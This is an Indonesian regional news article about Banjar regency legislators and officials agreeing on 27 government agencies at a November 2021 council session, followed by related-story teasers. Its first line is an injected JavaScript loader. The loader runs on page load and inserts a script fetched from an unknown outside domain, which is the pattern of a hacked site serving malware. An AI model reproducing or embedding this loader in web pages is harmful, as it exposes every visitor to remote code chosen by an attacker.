(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pihak Legislatif dan esksekutif di Pemkab Banjar akhirnya mencapai kata sepakat berkait berapa jumlah Satuan Organisisasi Perangkat Daerah (SOPD) di pemkab itu.
Pada penyampaian hasil keputusan rapat pansus yang di fasilitasi gubernur Kalimantan Selatan dan ditandatangani oleh Ketua pansus Kamaruzzaman menyebutkan, bahwa penetapan perangkat daerah sebanyak 27 SOPD
”Dinas Tenaga Kerja dan Transimigrasi (Disnakertran) tidak jadi di gabung dengan Dinas Penanaman Modal Perizinan Terpadu Satu Pintu ( DPMPTSP) masing-masing berdiri sendiri.
Hal yang sama juga berlaku untuk UPT Pemadam Kebakaran dan Satpol PP juga tidak jadi digabung,” ujar Ketua Pansus, Syarkawi.
Penyampaian bupati Banjar terhadap raperda di ruang rapat paripurna DPRD Banjar. Foto: DKISP Kabupaten Banjar
Baca juga : Plt Bupati HSU Pimpin Apel Gelar Pasukan Antisipasi Bencana
Hasil rapat pansus tersebut dibacakan wakil ketua pansus Syarkawi saat rapat paripurna DPRD Banjar dengan agenda Penetapan Propemperda Tahun 2022.
Pengambilan Keputusan terhadap Raperda tentang Perubahan Atas Perda Kabupaten Banjar No.13 Tahun 2016 tentang Pembentukan dan Susunan Perangkat Daerah.
Penyampaian bupati Banjar terhadap Raperda tentang Perubahan Keempat Atas Perda Kabupaten Banjar No. 8 Tahun 2011 tentang Retribusi Perizinan Tertentu, di ruang rapat paripurna DPRD Banjar, Rabu (24/11/2021) siang.
Pihak eksekutif dan legislatif sepakat menerima masukan dari Pemprov Kalsel.
Rapat yang dipimpin oleh Ketua DPRD Banjar HM Rofiqi dan di skors selama 15 menit tersebut akhirnya di setujui oleh semua fraksi, dan ditandatangani berita acaranya oleh ketua DPRD Banjar.
Baca juga : Akuarium di Lapangan dr Murdjani Akhirnya Diisi Ikan, Spot Swafoto Kekinian di Banjarbaru
Bupati Banjar H. Saidi Mansyur mengatakan, atas nama pemerintah mengucapkan terima kasih kepada DPRD Banjar atas dukungan, apreasiasi serta fasilitasi pembahasan, sehingga Raperda tentang perubahan peraturan daerah No 13 tahun 2016 tentang pembentukan dan susunan perangkat daerah dapat diselesaikan dan mendapat persetujuan untuk detetapkan menjadi Perda.
Dia mengatakan, banyak saran masukan dan pendapat dari DPRD Banjar baik dari pemandangan umum fraksi maupun rapat pansus yang dilaksanakan beberapa kali guna perbaikan dan penyempurnaan Raperda.
Diketahui, SOPD di Pemkab Banjar semula berjumlah 34, kemudian diusulkan disepakati berjumlah antara 24 hingga 26 SOPD. Walhasil, kedua pihak kemudian sepakat menjadi 27 SOPD. (kanalkalimantan.com/dhani)
Reporter : dhani
Editor : kk
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.